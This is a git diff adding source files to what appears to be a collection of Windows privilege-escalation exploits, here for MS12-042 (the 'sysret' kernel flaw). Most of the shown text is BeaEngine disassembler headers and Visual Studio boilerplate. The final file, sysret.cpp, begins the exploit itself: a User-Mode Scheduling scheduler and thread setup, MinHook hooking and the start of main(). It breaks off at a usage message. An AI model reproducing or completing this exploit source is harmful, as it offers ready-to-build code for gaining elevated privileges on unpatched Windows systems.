BEA_HAVE_INT64 1 + typedef size_t UIntPtr; +#elif defined(__sgi) + /* + * MIPSpro C++ + */ + typedef signed char Int8; + typedef unsigned char UInt8; + typedef signed short Int16; + typedef unsigned short UInt16; + typedef signed int Int32; + typedef unsigned int UInt32; + typedef signed long IntPtr; + typedef unsigned long UIntPtr; + #if _MIPS_SZLONG == 64 + #define BEA_PTR_IS_64_BIT 1 + #define BEA_LONG_IS_64_BIT 1 + typedef signed long Int64; + typedef unsigned long UInt64; + #else + typedef signed long long Int64; + typedef unsigned long long UInt64; + #endif + #define BEA_HAVE_INT64 1 +#endif + +#if defined(_MSC_VER) || defined(__BORLANDC__) + #define W64LIT(x) x##ui64 +#else + #define W64LIT(x) x##ULL +#endif + + +#ifndef C_STATIC_ASSERT +#define C_STATIC_ASSERT(tag_name, x) \ + typedef int cache_static_assert_ ## tag_name[(x) * 2-1] +#endif + +C_STATIC_ASSERT(sizeof_Int8 , (sizeof(Int8) == 1)); +C_STATIC_ASSERT(sizeof_UInt8, (sizeof(UInt8) == 1)); + +C_STATIC_ASSERT(sizeof_Int16 , (sizeof(Int16) == 2)); +C_STATIC_ASSERT(sizeof_UInt16, (sizeof(UInt16) == 2)); + +C_STATIC_ASSERT(sizeof_Int32 , (sizeof(Int32) == 4)); +C_STATIC_ASSERT(sizeof_UInt32, (sizeof(UInt32) == 4)); + +C_STATIC_ASSERT(sizeof_Int64 , (sizeof(Int64) == 8)); +C_STATIC_ASSERT(sizeof_UInt64, (sizeof(UInt64) == 8)); + +#endif diff --git a/97-Windows提权/MS12-042/sysret-source/junk/sources/include/beaengine/export.h b/97-Windows提权/MS12-042/sysret-source/junk/sources/include/beaengine/export.h new file mode 100644 index 0000000..6e550db --- /dev/null +++ b/97-Windows提权/MS12-042/sysret-source/junk/sources/include/beaengine/export.h @@ -0,0 +1,173 @@ +/** + * @file export.h + * @author igor.gutnik@gmail.com + * @date Mon Sep 22 09:28:54 2008 + * + * @brief This file sets things up for C dynamic library function definitions and + * static inlined functions + * + * This file is part of BeaEngine. + * + * BeaEngine is free software: you can redistribute it and/or modify + * it under the terms of the GNU Lesser General Public License as published by + * the Free Software Foundation, either version 3 of the License, or + * (at your option) any later version. + * + * BeaEngine is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU Lesser General Public License for more details. + * + * You should have received a copy of the GNU Lesser General Public License + * along with BeaEngine. If not, see . */ + +#ifndef __BEA_EXPORT_H__ +#define __BEA_EXPORT_H__ + + +/* Set up for C function definitions, even when using C++ */ + +#ifdef __cplusplus +#define CPP_VISIBLE_BEGIN extern "C" { +#define CPP_VISIBLE_END } +#else +#define CPP_VISIBLE_BEGIN +#define CPP_VISIBLE_END +#endif + +#if defined(_MSC_VER) +#pragma warning( disable: 4251 ) +#endif + +/* Some compilers use a special export keyword */ +#ifndef bea__api_export__ +# if defined(__BEOS__) +# if defined(__GNUC__) +# define bea__api_export__ __declspec(dllexport) +# else +# define bea__api_export__ __declspec(export) +# endif +# elif defined(_WIN32) || defined(_WIN64) +# ifdef __BORLANDC__ +# define bea__api_export__ __declspec(dllexport) +# define bea__api_import__ __declspec(dllimport) +# elif defined(__WATCOMC__) +# define bea__api_export__ __declspec(dllexport) +# define bea__api_import__ +# else +# define bea__api_export__ __declspec(dllexport) +# define bea__api_import__ __declspec(dllimport) +# endif +# elif defined(__OS2__) +# ifdef __WATCOMC__ +# define bea__api_export__ __declspec(dllexport) +# define bea__api_import__ +# else +# define bea__api_export__ +# define bea__api_import__ +# endif +# else +# if defined(_WIN32) && defined(__GNUC__) && __GNUC__ >= 4 +# define bea__api_export__ __attribubea__ ((visibility("default"))) +# define bea__api_import__ __attribubea__ ((visibility("default"))) +# else +# define bea__api_export__ +# define bea__api_import__ +# endif +# endif +#endif + +/* Use C calling convention by default*/ + +#ifndef __bea_callspec__ +#if defined(BEA_USE_STDCALL) + #if defined(__WIN32__) || defined(WIN32) || defined(_WIN32) || defined(_WIN64) + #if defined(__BORLANDC__) || defined(__WATCOMC__) || defined(_MSC_VER) || defined(__MINGW32__) || defined(__POCC__) + #define __bea_callspec__ __stdcall + #else + #define __bea_callspec__ + #endif + #else + #ifdef __OS2__ + #define __bea_callspec__ _System + #else + #define __bea_callspec__ + #endif + #endif +#else + #define __bea_callspec__ +#endif +#endif + +#ifdef __SYMBIAN32__ +# ifndef EKA2 +# undef bea__api_export__ +# undef bea__api_import__ +# define bea__api_export__ +# define bea__api_import__ +# elif !defined(__WINS__) +# undef bea__api_export__ +# undef bea__api_import__ +# define bea__api_export__ __declspec(dllexport) +# define bea__api_import__ __declspec(dllexport) +# endif /* !EKA2 */ +#endif /* __SYMBIAN32__ */ + + +#if defined(__GNUC__) && (__GNUC__ > 2) +#define BEA_EXPECT_CONDITIONAL(c) (__builtin_expect((c), 1)) +#define BEA_UNEXPECT_CONDITIONAL(c) (__builtin_expect((c), 0)) +#else +#define BEA_EXPECT_CONDITIONAL(c) (c) +#define BEA_UNEXPECT_CONDITIONAL(c) (c) +#endif + + +/* Set up compiler-specific options for inlining functions */ +#ifndef BEA_HAS_INLINE +#if defined(__GNUC__) || defined(__POCC__) || defined(__WATCOMC__) || defined(__SUNPRO_C) +#define BEA_HAS_INLINE +#else +/* Add any special compiler-specific cases here */ +#if defined(_MSC_VER) || defined(__BORLANDC__) || \ + defined(__DMC__) || defined(__SC__) || \ + defined(__WATCOMC__) || defined(__LCC__) || \ + defined(__DECC) || defined(__EABI__) +#ifndef __inline__ +#define __inline__ __inline +#endif +#define BEA_HAS_INLINE +#else +#if !defined(__MRC__) && !defined(_SGI_SOURCE) +#ifndef __inline__ +#define __inline__ inline +#endif +#define BEA_HAS_INLINE +#endif /* Not a funky compiler */ +#endif /* Visual C++ */ +#endif /* GNU C */ +#endif /* CACHE_HAS_INLINE */ + +/* If inlining isn't supported, remove "__inline__", turning static + inlined functions into static functions (resulting in code bloat + in all files which include the offending header files) +*/ +#ifndef BEA_HAS_INLINE +#define __inline__ +#endif + +/* fix a bug with gcc under windows */ + +#if defined(__WIN32__) || defined(WIN32) || defined(_WIN32) || defined(_WIN64) + #if defined(__MINGW32__) + #define const__ + #else + #define const__ const + #endif +#else + #define const__ const +#endif + + + +#endif diff --git a/97-Windows提权/MS12-042/sysret-source/junk/sources/include/beaengine/macros.h b/97-Windows提权/MS12-042/sysret-source/junk/sources/include/beaengine/macros.h new file mode 100644 index 0000000..8a5dc99 --- /dev/null +++ b/97-Windows提权/MS12-042/sysret-source/junk/sources/include/beaengine/macros.h @@ -0,0 +1,41 @@ +#ifndef __BEAENGINE_MACROS_H__ +#define __BEAENGINE_MACROS_H__ +/* +============================================================================ + Compiler Silencing macros + + Some compilers complain about parameters that are not used. This macro + should keep them quiet. + ============================================================================ + */ + +# if defined (__GNUC__) && ((__GNUC__ > 4 || (__GNUC__ == 4 && __GNUC_MINOR__ >= 2))) +# define BEA_UNUSED_ARG(a) (void) (a) +#elif defined (ghs) || defined (__GNUC__) || defined (__hpux) || defined (__sgi) || defined (__DECCXX) || defined (__rational__) || defined (__USLC__) || defined (BEA__RM544) || defined (__DCC__) || defined (__PGI) || defined (__TANDEM) || defined(__BORLANDC__) +/* + Some compilers complain about "statement with no effect" with (a). + This eliminates the warnings, and no code is generated for the null + conditional statement. Note, that may only be true if -O is enabled, + such as with GreenHills (ghs) 1.8.8. + */ + +# define BEA_UNUSED_ARG(a) do {/* null */} while (&a == 0) +#elif defined (__DMC__) + #if defined(__cplusplus) + #define BEA_UNUSED_ID(identifier) + template + inline void BEA_UNUSED_ARG(const T& BEA_UNUSED_ID(t)) { } + #else + #define BEA_UNUSED_ARG(a) + #endif +#else /* ghs || __GNUC__ || ..... */ +# define BEA_UNUSED_ARG(a) (a) +#endif /* ghs || __GNUC__ || ..... */ + +#if defined (_MSC_VER) || defined(__sgi) || defined (ghs) || defined (__DECCXX) || defined(__BORLANDC__) || defined (BEA_RM544) || defined (__USLC__) || defined (__DCC__) || defined (__PGI) || defined (__TANDEM) || (defined (__HP_aCC) && (__HP_aCC >= 60500)) +# define BEA_NOTREACHED(a) +#else /* __sgi || ghs || ..... */ +# define BEA_NOTREACHED(a) a +#endif /* __sgi || ghs || ..... */ + +#endif /* __BEAENGINE_MACROS_H__ */ diff --git a/97-Windows提权/MS12-042/sysret-source/junk/stdafx.cpp b/97-Windows提权/MS12-042/sysret-source/junk/stdafx.cpp new file mode 100644 index 0000000..7612613 --- /dev/null +++ b/97-Windows提权/MS12-042/sysret-source/junk/stdafx.cpp @@ -0,0 +1,8 @@ +// stdafx.cpp : source file that includes just the standard includes +// junk.pch will be the pre-compiled header +// stdafx.obj will contain the pre-compiled type information + +#include "stdafx.h" + +// TODO: reference any additional headers you need in STDAFX.H +// and not in this file diff --git a/97-Windows提权/MS12-042/sysret-source/junk/stdafx.h b/97-Windows提权/MS12-042/sysret-source/junk/stdafx.h new file mode 100644 index 0000000..b005a83 --- /dev/null +++ b/97-Windows提权/MS12-042/sysret-source/junk/stdafx.h @@ -0,0 +1,15 @@ +// stdafx.h : include file for standard system include files, +// or project specific include files that are used frequently, but +// are changed infrequently +// + +#pragma once + +#include "targetver.h" + +#include +#include + + + +// TODO: reference additional headers your program requires here diff --git a/97-Windows提权/MS12-042/sysret-source/junk/sysret.cpp b/97-Windows提权/MS12-042/sysret-source/junk/sysret.cpp new file mode 100644 index 0000000..8958b47 --- /dev/null +++ b/97-Windows提权/MS12-042/sysret-source/junk/sysret.cpp @@ -0,0 +1,491 @@ +// junk.cpp : Defines the entry point for the console application. +// + +#include "stdafx.h" +#include "sysret.h" +#include "log.h" +#include "peutil.h" +#include "MinHook\MinHook.h" +#pragma comment(lib, "MinHook\\MinHook.x64.lib") + +extern "C" +{ + PVOID OrginalUmsSchedulerAddress; +} + +PUMS_COMPLETION_LIST UMSCompletionList; +PUMS_CONTEXT pUmsThread; + +VOID +WINAPI +UmsSchedulerProc( + UMS_SCHEDULER_REASON Reason, + ULONG_PTR ActivationPayload, + PVOID SchedulerParam + ) +{ + + PUMS_CONTEXT next; + ULONG retlen; + BOOLEAN bTerminated; + BOOL bOk; + + switch (Reason) + { + case UmsSchedulerStartup: + break; + + case UmsSchedulerThreadYield: + goto switch_to_task; + + case UmsSchedulerThreadBlocked: + break; + } + + for (;;) + { + PUMS_CONTEXT UmsThreadList; + if (DequeueUmsCompletionListItems(UMSCompletionList, INFINITE, &UmsThreadList)) + { + if (UmsThreadList) + { + next = GetNextUmsListItem(UmsThreadList); + bOk = QueryUmsThreadInformation(pUmsThread, UmsThreadIsTerminated, &bTerminated, sizeof(bTerminated), &retlen); + + goto switch_to_task; + } + } + } + +switch_to_task: + for (;;) + { + ExecuteUmsThread(pUmsThread); + } +} + + +DWORD +WINAPI +UmsTaskProc( + LPVOID lpThreadParameter + ) +{ + //DEBUG_PRINTF(L_INFO, "UMS Task has successfully started!"); + UmsThreadYield(0); + //DEBUG_PRINTF(L_INFO, "UMS Task has successfully executed!"); + return 0; +} + +int main(int argc, CHAR** argv) +{ + ULONG_PTR ProcessId; + SIZE_T attrsize; + LPPROC_THREAD_ATTRIBUTE_LIST attrlist; + UMS_CREATE_THREAD_ATTRIBUTES umsattribs; + UMS_SCHEDULER_STARTUP_INFO umsinfo; + HANDLE hThread; + ERRORINFO err; + + + + if ( argc < 3 ) + { + printf("Usage : sysret.exe